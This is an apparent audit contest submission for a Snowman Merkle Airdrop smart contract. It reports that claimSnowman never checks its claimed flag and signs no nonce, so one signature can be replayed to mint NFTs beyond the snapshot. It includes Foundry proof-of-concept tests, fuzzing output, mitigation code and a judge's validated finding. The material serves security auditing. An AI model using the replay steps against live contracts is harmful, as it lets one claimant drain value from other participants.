Snowman Merkle Airdrop
AI First Flight #10
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Submission Details
Severity: low
Valid

Root cause: claimSnowman never reads s_hasClaimedSnowman and the signed message carries no nonce. Impact: an eligible address replays one signature to mint Snowman NFTs far beyond its snapshot entitlement

hati

Root cause: claimSnowman never reads s_hasClaimedSnowman and the signed message carries no nonce. Impact: an eligible address replays one signature to mint Snowman NFTs far beyond its snapshot entitlement

Description

The airdrop is meant to pay out once per eligible address. The contract clearly intends this: it keeps a s_hasClaimedSnowman mapping, sets it on every successful claim, and even exposes getClaimStatus so the outside world can read it.

Nothing ever checks it. The mapping is written and never read, and the signed message binds only the receiver and the amount, with no nonce and no deadline. So an eligible address that restores its snapshot balance can present the identical Merkle proof and the identical v, r, s again, and mint again, for as long as it can keep sourcing Snow.

// src/SnowmanAirdrop.sol
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
@> // no check of s_hasClaimedSnowman anywhere before minting
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
i_snow.safeTransferFrom(receiver, address(this), amount);
​
@> s_hasClaimedSnowman[receiver] = true; // written here, read nowhere
​
i_snowman.mintSnowman(receiver, amount);
}

This is a separate root cause from the unprotected Snowman::mintSnowman. I verified that on a deployment where the mint is correctly gated to the airdrop, the replay still produces a second NFT, so fixing one does not fix the other.

Risk

Likelihood:

  • Every whitelisted address can do this the moment it claims, using the signature it already produced, with no special tooling and no race.

  • Restoring the snapshot balance is routine rather than exceptional: earnSnow hands out free Snow weekly, buySnow sells it for the whole farming window, and once both close a plain ERC20 transfer from any other holder still works.

Impact:

  • The Snowman supply is no longer bounded by the Merkle snapshot, so a single eligible claimer mints past the total the entire whitelist was ever entitled to, diluting every honest participant.

  • A signature signed once for a single delegated claim becomes a permanent authorisation, public in the calldata of the first claim, that the user cannot revoke because there is no nonce to bump and no expiry.

Proof of Concept

The attacker here is a legitimately eligible address, alice, one of the five in script/flakes/input.json holding 1 Snow. The victims are the other four recipients, whose share is diluted as the collection is drained. The protocol side is SnowmanAirdrop, which believes it already paid her and records exactly that. Deployed through the project's own Helper.s.sol. Run with forge test --match-test test_A1_ReplayMintsBeyondSnapshotByBuyingSnow -vv.

function test_A1_ReplayMintsBeyondSnapshotByBuyingSnow() public {
// the whole snapshot only ever entitled five NFTs, one per address
uint256 snapshotSupply = 5;
// read the fee before pranking, otherwise the prank is consumed by this call
uint256 fee = snow.s_buyFee();
vm.deal(alice, 1000 ether);
​
// alice signs ONCE, over her snapshot balance of 1
bytes32 digest = airdrop.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, digest);
​
// her first claim is entirely legitimate
_claim(v, r, s);
assertEq(nft.balanceOf(alice), 1);
​
for (uint256 i = 0; i < 10; i++) {
// buy her balance back up to exactly the snapshot value
vm.prank(alice);
snow.buySnow{value: fee}(1);
assertEq(snow.balanceOf(alice), 1, "back to the snapshot value");
// and claim again with the SAME proof and the SAME signature
_claim(v, r, s);
}
​
// one entitlement has become eleven NFTs
assertEq(nft.balanceOf(alice), 11, "entitlement was 1, she holds 11");
// more than the entire whitelist was ever supposed to receive
assertGt(nft.balanceOf(alice), snapshotSupply);
}

Output:

[PASS] test_A1_ReplayMintsBeyondSnapshotByBuyingSnow() (gas: 1339436)
Logs:
alice entitlement was 1, she holds: 11
the whole snapshot only entitled: 5

An invariant test found this independently. The property that an eligible address cannot exceed its snapshot entitlement, which is exactly what s_hasClaimedSnowman exists to enforce, was fuzzed with random call sequences. Foundry broke it and shrank the counterexample to four calls:

[FAIL: an eligible address claimed more than its snapshot entitlement: 2 > 1]
[Sequence] (original: 12, shrunk: 4)
calldata=buy(uint256,uint8) args=[6610, 3]
calldata=claimAlice() args=[]
calldata=refillAlice(uint256) args=[504811708896044873580489913]
calldata=claimAlice() args=[]

Recommended Mitigation

Read the flag that is already being written, and put a nonce in the signed message so an old signature cannot be reused:

error SA__AlreadyClaimed();
mapping(address => uint256) private s_nonces;
​
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (s_hasClaimedSnowman[receiver]) {
revert SA__AlreadyClaimed();
}
// ... existing checks ...
s_hasClaimedSnowman[receiver] = true;
s_nonces[receiver]++;
// ... transfer and mint ...
}

Include s_nonces[receiver], plus a deadline if signatures should expire, in MESSAGE_TYPEHASH and getMessageHash, so a digest can never be replayed once used.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact &#x20; **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol  ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

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